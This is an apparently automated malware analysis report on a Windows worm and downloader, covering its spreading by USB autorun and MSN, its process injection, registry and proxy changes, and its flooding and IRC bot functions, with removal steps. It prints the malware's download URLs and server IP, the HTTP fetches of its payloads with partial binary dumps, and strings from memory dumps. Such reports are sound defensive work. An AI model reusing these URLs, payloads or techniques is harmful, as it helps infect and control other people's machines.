Trojan.Win32.Yakes.fdqj (Kaspersky), Trojan.GenericKD.1723384 (B) (Emsisoft), Trojan.GenericKD.1723384 (AdAware), Backdoor.Win32.Farfli.FD, Worm.Win32.Dorkbot.FD, mzpefinder_pcap_file.YR, Sinowal.YR, WormDorkbot.YR, GenericUDPFlooder.YR, GenericIRCBot.YR, GenericMSNWorm.YR, GenericUSBInfector.YR, GenericDNSBlocker.YR, GenericDownloader.YR, GenericAutorunWorm.YR, GenericSYNFlooder.YR, GenericInjector.YR, BankerGeneric.YR, GenericProxy.YR, GenericPhysicalDrive0.YR (Lavasoft MAS)
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: bbf494f6b5d3450bd618c1485d93b72f
SHA1: 8960d837164d5408953ab4e7a1ae18b92eff8164
SHA256: a3cc34987ae4257071c30e2f6b126e698324de3fca8c84b8759e70ccdf1a4749
SSDeep: 1536:5wSaooYnwZGoi3b5l22LOmVfTpYVkvWaPQy4kPPuxBL/1RFXi7W1u7UmjFMf0:eSfLoi31lPVNY0/PQy4SAL/h165SM
Size: 114176 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2014-06-18 23:51:39
Analyzed on: WindowsXP SP3 32-bit
Summary: Worm. A program that is primarily replicating on networks or removable drives.
Dynamic Analysis
Payload
Behaviour | Description |
---|---|
WormAutorun | A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Worm's file once a user opens a drive's folder in Windows Explorer. |
IRCBot | A bot can communicate with command and control servers via IRC channel. |
MSNWorm | A worm can spread its copies through the MSN Messanger. |
DNSBlocker | A program can block designated DNS servers for making it difficult for users to locate specific domains or web sites on the Internet. |
UDPFlooder | This program can make a UDP flood. A UDP flood attack is a denial-of-service attack using the User Datagram Protocol (UDP). It can be initiated by sending a large number of UDP packets to random ports on a remote host. |
SYNFlooder | This program can make a SYN flood. It is a form of denial-of-service attack in which an attacker sends a succession of SYN requests to a target's system in an attempt to consume enough server resources to make the system unresponsive to legitimate traffic. |
Trojan-Proxy | This program can launch a proxy server (SOCKS4) on a designated TCP port. |
USBInfector | A program can register a device notification with the help of RegisterDeviceNotification. So it is notified when a USB device is plugged and then the worm copies itself to the USB device plugged into the affected computer. |
Process activity
The Worm creates the following process(es):
ngggg.exe:684
ngggg.exe:336
bett.exe:160
%original file name%.exe:944
The Worm injects its code into the following process(es):
calc.exe:1752
notepad.exe:304
%original file name%.exe:492
svchost.exe:1904
sppp.exe:3600
winlogon.exe:712
services.exe:756
Explorer.EXE:888
svchost.exe:936
svchost.exe:1020
svchost.exe:1104
svchost.exe:1164
svchost.exe:1244
spoolsv.exe:1436
wmiprvse.exe:1524
jqs.exe:1592
Mutexes
The following mutexes were created/opened:
ZonesCounterMutexZonesCacheCounterMutexZonesLockedCacheCounterMutex_!MSFTHISTORY!_c:!documents and settings!adm!local settings!temporary internet files!content.ie5!c:!documents and settings!adm!cookies!c:!documents and settings!adm!local settings!history!history.ie5!WininetStartupMutexWininetConnectionMutexWininetProxyRegistryMutexRasPbFileShimCacheMutex-c1419a97Mutex
File activity
The process ngggg.exe:336 makes changes in the file system.
The Worm creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Application Data\c731200 (1281 bytes)
The Worm deletes the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\ngggg.exe.gonewiththewings (0 bytes)
The process bett.exe:160 makes changes in the file system.
The Worm creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\My Documents\My Videos\Desktop.ini (312 bytes)
The Worm deletes the following file(s):
%Program Files%\Common Files\CreativeAudio\desktop.ini (0 bytes)
The process %original file name%.exe:492 makes changes in the file system.
The Worm creates and/or writes to the following file(s):
%Documents and Settings%\%current user%\Local Settings\Temp\ngggg.exe (54528 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bett.exe (84033 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\456T8DEX\ng[1].exe (57625 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IFK30NOL\bet[1].exe (89465 bytes)
Registry activity
The process calc.exe:1752 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3A 08 93 31 3D 58 74 1D 93 A2 AC 64 9C A8 38 B0"
The process notepad.exe:304 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "EB 8F BE 92 C0 F1 8A AF 9C 05 73 D8 76 38 09 99"
The process ngggg.exe:684 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C0 11 F4 8C 8E D6 82 C6 56 28 11 E5 8E 79 CA 2A"
The process ngggg.exe:336 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B9 94 A9 FB 85 1E F0 2E 1D 61 E7 E9 5A 3A 7A 1C"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
The process bett.exe:160 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "1C C4 51 B9 87 0A AC 1E 2B 18 4D C1 0A A7 F5 71"
[HKCU\Software\Win7zip]
"uuid" = "35 AC 60 BB 4E 7A 10 49 B7 48 DF DA 1E 63 9A FF"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"
"My Video" = "%Documents and Settings%\%current user%\My Documents\My Videos"
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"
"My Music" = "%Documents and Settings%\%current user%\My Documents\My Music"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Classes\CLSID\{35AC60BB-4E7A-1049-B748-DFDA1E639AFF}\0E7302EC\CG1]
"HAL" = "05 EE 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ezztxopie.exe]
"DisableExceptionChainValidation" = ""
[HKCU\Software\Classes\CLSID\{35AC60BB-4E7A-1049-B748-DFDA1E639AFF}\0E7302EC\CG1]
"BID" = "20 00 08 00 18 00 06 00 DE 07 00 00 14 00 88 FF"
The process %original file name%.exe:492 makes changes in the system registry.
The Worm creates and/or sets the following values in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Video" = "%Documents and Settings%\%current user%\My Documents\My Videos"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"
[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1A 00 00 00 01 00 00 00 00 00 00 00"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"
"My Music" = "%Documents and Settings%\%current user%\My Documents\My Music"
[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "3F 78 D4 6A 8D 84 90 C2 C6 37 E8 83 C2 CB 8B 75"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"
[HKCU\Software\Classes\CLSID\{35AC60BB-4E7A-1049-B748-DFDA1E639AFF}\0E7302EC\CW1]
"492" = "88 00 00 00 B0 01 00 00 8D F1 D9 00 40 01 05 00"
The Worm modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"
The Worm modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:
"ProxyBypass" = "1"
Proxy settings are disabled:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"
The Worm modifies IE settings for security zones to map all urls to the Intranet Zone:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"
The Worm deletes the following value(s) in system registry:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
Dropped PE files
MD5 | File path |
---|---|
374acab1c1c0a00d5db5eeddbb27b31d | c:\Documents and Settings\"%CurrentUserName%"\Application Data\c731200 |
374acab1c1c0a00d5db5eeddbb27b31d | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Adobe\Reader_sl.exe |
374acab1c1c0a00d5db5eeddbb27b31d | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ngggg.exe.gonewiththewings |
374acab1c1c0a00d5db5eeddbb27b31d | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\456T8DEX\ng[1].exe |
0a2a8151c23fdc97ca18be2f1401799f | c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\IFK30NOL\bet[1].exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Worm's file once a user opens a drive's folder in Windows Explorer.A program can register a device notification with the help of RegisterDeviceNotification. So it is notified when a USB device is plugged and then the worm copies itself to the USB device plugged into the affected computer.A worm can spread its copies through the MSN Messanger.
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):
ngggg.exe:684
ngggg.exe:336
bett.exe:160
%original file name%.exe:944 - Delete the original Worm file.
- Delete or disinfect the following files created/modified by the Worm:
%Documents and Settings%\%current user%\Application Data\c731200 (1281 bytes)
%Documents and Settings%\%current user%\My Documents\My Videos\Desktop.ini (312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ngggg.exe (54528 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bett.exe (84033 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\456T8DEX\ng[1].exe (57625 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IFK30NOL\bet[1].exe (89465 bytes) - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
- Reboot the computer.
Static Analysis
VersionInfo
No information is available.
No information is available.
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 50383 | 50688 | 4.35368 | c9f77209e2c5eb2516b855acfc5f1fbb |
.rdata | 57344 | 11466 | 11776 | 3.79163 | a6cacf23031503df93fd478cef3a401f |
.data | 69632 | 67456 | 3584 | 1.88393 | 9a149f80fc3d0782b2ac341e87ca39b5 |
.rsrc | 139264 | 47104 | 47104 | 4.40027 | 5511f29d247320972af1a5a1cb6ea76b |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://dl.dqwjnewkwefewamail.com/bet.exe | 91.188.117.157 |
hxxp://dl.dqwjnewkwefewamail.com/ng.exe | 91.188.117.157 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /bet.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: dl.dqwjnewkwefewamail.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Tue, 24 Jun 2014 12:55:46 GMT
Server: Apache/2.2.15 (CentOS)
Last-Modified: Tue, 24 Jun 2014 07:04:32 GMT
ETag: "60152-4d600-4fc8f924ec000"
Accept-Ranges: bytes
Content-Length: 316928
Connection: close
Content-Type: application/octet-stream
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........p.......................i~......io......iy......ii.........<....C~......Cn......Ck.....Rich....................PE..L....0.S.................0...................@....@..........................................................................\..d.......x\...........................................................Y..@............@...............................text..._/.......0.................. ..`.rdata..(0...@...2...4..............@..@.data................f..............@....rsrc...x\.......^...x..............@..@........................................................................................................................................................................................................................................................................................................................................................................................U...E.Pj;.M.Qj;..4.A.R..D@A......4.A. ...4.A..4.A.].............U.....jLj..E.P.M.Q..<@A.9E.r-.E........U.....U..}..}.j!j]j0j1jA..@@A..E....E...]................U.....VjTj.h2...j..(.A.P..........jTjT..4.A.Q...CA. ..u.jTj2jQ...CA..U. ..U..E.^..].............U........A.Pj>.........M. ..Q... ..U.j..E.Pj(....A.Qj6j?.U.R.E.P...CA.k.S..4.A. ...4.A.j...(.A.Rj`...AA.#E.........]............U......E.....3.t..E........M.....M..}..}..U.R...CA..M..T.a.U....E...]...........U......E.R....E.V....E.Pj.jV.....A.Qj..
<<
<<< skipped >>>
GET /ng.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: dl.dqwjnewkwefewamail.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Tue, 24 Jun 2014 12:56:08 GMT
Server: Apache/2.2.15 (CentOS)
Last-Modified: Tue, 24 Jun 2014 07:11:58 GMT
ETag: "603d2-31800-4fc8face42b80"
Accept-Ranges: bytes
Content-Length: 202752
Connection: close
Content-Type: application/octet-stream
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........|.......................e~......eo......ey......ei.........:....O~......On......Ok.....Rich....................PE..L....2.S.................0...................@....@..........................0...............................................\..d.......P............................................................Y..@............@...............................text...o/.......0.................. ..`.rdata..^0...@...2...4..............@..@.data................f..............@....rsrc...P............x..............@..@........................................................................................................................................................................................................................................................................................................................................................................................U...E.Pj;.M.Qj;..4.A.R..H@A......4.A. ...4.A..4.A.].............U.....jLj..E.P.M.Q..@@A.9E.r-.E........U.....U..}..}.j!j]j0j1jA..D@A..E....E...]................U.....VjTj.h2...j..(.A.P..........jTjT..4.A.Q...CA. ..u.jTj2jQ...CA..U. ..U..E.^..].............U........A.Pj>.........M. ..Q... ..U.j..E.Pj(....A.Qj6j?.U.R.E.P...CA.k.S..4.A. ...4.A.j...(.A.Rj`...AA.#E.........]............U......E.....3.t..E........M.....M..}..}..U.R...CA..M..T.a.U....E...]...........U......E.R....E.V....E.Pj.jV.....A.Qj........
<<
<<< skipped >>>
Map
The Worm connects to the servers at the folowing location(s):
Strings from Dumps
%original file name%.exe_492:
.text
.text
`.rdata
`.rdata
@.data
@.data
__MSVCRT_HEAP_SELECT
__MSVCRT_HEAP_SELECT
user32.dll
user32.dll
WinExec
WinExec
KERNEL32.dll
KERNEL32.dll
ADVAPI32.dll
ADVAPI32.dll
SHELL32.dll
SHELL32.dll
URLDownloadToFileA
URLDownloadToFileA
urlmon.dll
urlmon.dll
GetCPInfo
GetCPInfo
http://dl.dqwjnewkwefewamail.com/b.exe
http://dl.dqwjnewkwefewamail.com/b.exe
bbbb.exe
bbbb.exe
http://dl.dqwjnewkwefewamail.com/spm.exe
http://dl.dqwjnewkwefewamail.com/spm.exe
sppp.exe
sppp.exe
http://dl.dqwjnewkwefewamail.com/dq.exe
http://dl.dqwjnewkwefewamail.com/dq.exe
dqqq.exe
dqqq.exe
http://dl.dqwjnewkwefewamail.com/ng.exe
http://dl.dqwjnewkwefewamail.com/ng.exe
ngggg.exe
ngggg.exe
http://dl.dqwjnewkwefewamail.com/bet.exe
http://dl.dqwjnewkwefewamail.com/bet.exe
bett.exe
bett.exe
c:\%original file name%.exe
c:\%original file name%.exe
%original file name%.exe_492_rwx_00400000_00009000:
.text
.text
`.rdata
`.rdata
@.data
@.data
__MSVCRT_HEAP_SELECT
__MSVCRT_HEAP_SELECT
user32.dll
user32.dll
WinExec
WinExec
KERNEL32.dll
KERNEL32.dll
ADVAPI32.dll
ADVAPI32.dll
SHELL32.dll
SHELL32.dll
URLDownloadToFileA
URLDownloadToFileA
urlmon.dll
urlmon.dll
GetCPInfo
GetCPInfo
http://dl.dqwjnewkwefewamail.com/b.exe
http://dl.dqwjnewkwefewamail.com/b.exe
bbbb.exe
bbbb.exe
http://dl.dqwjnewkwefewamail.com/spm.exe
http://dl.dqwjnewkwefewamail.com/spm.exe
sppp.exe
sppp.exe
http://dl.dqwjnewkwefewamail.com/dq.exe
http://dl.dqwjnewkwefewamail.com/dq.exe
dqqq.exe
dqqq.exe
http://dl.dqwjnewkwefewamail.com/ng.exe
http://dl.dqwjnewkwefewamail.com/ng.exe
ngggg.exe
ngggg.exe
http://dl.dqwjnewkwefewamail.com/bet.exe
http://dl.dqwjnewkwefewamail.com/bet.exe
bett.exe
bett.exe
c:\%original file name%.exe
c:\%original file name%.exe
%original file name%.exe_492_rwx_00D70000_00027000:
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
@.reloc
@.reloc
PSSSSSSh
PSSSSSSh
PSSVSSh
PSSVSSh
RPVSSh
RPVSSh
PSSh(
PSSh(
PSSh#
PSSh#
PSSh'
PSSh'
PSSh&
PSSh&
PSSh*
PSSh*
9p.uV
9p.uV
%original file name%.exe_492_rwx_00D98000_00074000:
Opera/9.00 (Windows NT 5.1; U; en)
Opera/9.00 (Windows NT 5.1; U; en)
Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Mozilla/4.0 (compatible; MSIE 6.01; Windows NT 6.0)
Mozilla/4.0 (compatible; MSIE 6.01; Windows NT 6.0)
Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)
Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)
Opera 9.4 (Windows NT 6.1; U; en)
Opera 9.4 (Windows NT 6.1; U; en)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; NeosBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; NeosBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; InfoPath.2
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0; .NET CLR 1.1.4322; Windows-Media-Player/10.00.00.3990; InfoPath.2
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8
Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)
Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50726)
Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50726)
SbieDll.dll
SbieDll.dll
Software\Classes\CLSID\%s\X
Software\Classes\CLSID\%s\X
Software\Classes\CLSID\%s\X\%s
Software\Classes\CLSID\%s\X\%s
0xX
0xX
SB:0xX
SB:0xX
G:%s_0xX_%c:%s_v1$
G:%s_0xX_%c:%s_v1$
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\%u
IEXPLORE.EXE
IEXPLORE.EXE
IE.HTTP
IE.HTTP
SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice
SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice
IE.HTTPS
IE.HTTPS
SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice
SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\UserChoice
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.htm\UserChoice
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html\UserChoice
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.html\UserChoice
IE.AssocFile.HTM
IE.AssocFile.HTM
HTTP\shell\open\command
HTTP\shell\open\command
Software\Microsoft\Windows\CurrentVersion\Ext\Settings\%s
Software\Microsoft\Windows\CurrentVersion\Ext\Settings\%s
Psapi.dll
Psapi.dll
%s\%s
%s\%s
Software\Adobe\Acrobat Reader\%s\Privileged
Software\Adobe\Acrobat Reader\%s\Privileged
mscoree.dll
mscoree.dll
HARDWARE\DESCRIPTION\System\CentralProcessor\%u
HARDWARE\DESCRIPTION\System\CentralProcessor\%u
SOFTWARE\Microsoft\Windows NT\CurrentVersion
SOFTWARE\Microsoft\Windows NT\CurrentVersion
nspr4.dll
nspr4.dll
nss3.dll
nss3.dll
Urlmon.dll
Urlmon.dll
URLDownloadToFileW
URLDownloadToFileW
Netapi32.dll
Netapi32.dll
76487-640-1457236-23837
76487-640-1457236-23837
76487-337-8429955-22614
76487-337-8429955-22614
76487-644-3177037-23510
76487-644-3177037-23510
76497-640-6308873-23835
76497-640-6308873-23835
55274-640-2673064-23950
55274-640-2673064-23950
76487-640-8834005-23195
76487-640-8834005-23195
76487-640-0716662-23535
76487-640-0716662-23535
76487-644-8648466-23106
76487-644-8648466-23106
00426-293-8170032-85146
00426-293-8170032-85146
76487-341-5883812-22420
76487-341-5883812-22420
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer
SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsBackup
SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsBackup
{8E5E2654-AD2D-48BF-AC2D-D17F00898D06}
{8E5E2654-AD2D-48BF-AC2D-D17F00898D06}
snxhk.dll
snxhk.dll
comctl32.dll
comctl32.dll
ZwSetValueKey
ZwSetValueKey
ZwDeleteValueKey
ZwDeleteValueKey
SOFTWARE\%s
SOFTWARE\%s
update.microsoft.com
update.microsoft.com
microsoft.com
microsoft.com
windowsupdate.microsoft.com
windowsupdate.microsoft.com
JOIN
JOIN
PRIVMSG
PRIVMSG
.rdata
.rdata
cmd_option.%s
cmd_option.%s
/c %s
/c %s
cmd.exe
cmd.exe
msvcrt.dll
msvcrt.dll
--x-x-x-xx
--x-x-x-xx
Content-Type: multipart/form-data; boundary=x-x-x-xx
Content-Type: multipart/form-data; boundary=x-x-x-xx
Content-Disposition: multipart/form-data; name="newfile"; filename="%d.jpeg"
Content-Disposition: multipart/form-data; name="newfile"; filename="%d.jpeg"
%s?action=up&g=%s
%s?action=up&g=%s
xul.dll
xul.dll
<Port></Port>
<Port></Port>
<Pass></Pass>
<Pass></Pass>
Content-Type: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
HTTP/1.1
HTTP/1.1
?pid=%d
?pid=%d
?page=%d
?page=%d
?id=%u
?id=%u
%s=%u&%s=%s
%s=%u&%s=%s
%s=%s&%s=%u
%s=%s&%s=%u
&%s=%s
&%s=%s
&%s%u=
&%s%u=
&%s%hu=
&%s%hu=
&%s=_%u
&%s=_%u
%d|%s|%s|%s
%d|%s|%s|%s
.info
.info
httpget
httpget
GET /%s HTTP/1.1
GET /%s HTTP/1.1
Host: %s
Host: %s
Content-Length: %d
Content-Length: %d
Accept: %s
Accept: %s
Accept-Language: %s
Accept-Language: %s
Accept-Charset: %s
Accept-Charset: %s
Accept-Encoding: %s
Accept-Encoding: %s
User-Agent: %s
User-Agent: %s
Referer: %s
Referer: %s
Connection: %s
Connection: %s
http://
http://
iexplore.exe
iexplore.exe
firefox.exe
firefox.exe
tbb-firefox.exe
tbb-firefox.exe
%s:%hu
%s:%hu
windowsupdate
windowsupdate
SSH2_MSG_KEXINIT
SSH2_MSG_KEXINIT
SSH2_MSG_DISCONNECT
SSH2_MSG_DISCONNECT
SSH2_MSG_USERAUTH_SUCCESS
SSH2_MSG_USERAUTH_SUCCESS
http://%s%s/image.php?id=%s
http://%s%s/image.php?id=%s
TaskDialogIndirect
TaskDialogIndirect
http://answers.microsoft.com/en-us/windows/forum/windows_vista-windows_programs/corrupted-documents-folder/e2a7660f-8eea-4f27-b2e6-e77a0f0c1535
http://answers.microsoft.com/en-us/windows/forum/windows_vista-windows_programs/corrupted-documents-folder/e2a7660f-8eea-4f27-b2e6-e77a0f0c1535
ÐxX
ÐxX
ntdll.dll
ntdll.dll
kernel32.dll
kernel32.dll
secur32.dll
secur32.dll
crypt32.dll
crypt32.dll
user32.dll
user32.dll
advapi32.dll
advapi32.dll
wininet.dll
wininet.dll
shell32.dll
shell32.dll
shlwapi.dll
shlwapi.dll
ole32.dll
ole32.dll
version.dll
version.dll
sfc.dll
sfc.dll
dnsapi.dll
dnsapi.dll
ws2_32.dll
ws2_32.dll
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
<assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
8"808]9|9
8"808]9|9
9%9 919<9
9%9 919<9
=(=/=6==={=
=(=/=6==={=
4 4?4^4}4
4 4?4^4}4
6o6g6r6w6
6o6g6r6w6
9 9$9(90949
9 9$9(90949
.text
.text
`.rdata
`.rdata
@.data
@.data
.rsrc
.rsrc
SSh\LA
SSh\LA
Please contact the application's support team for more information.
Please contact the application's support team for more information.
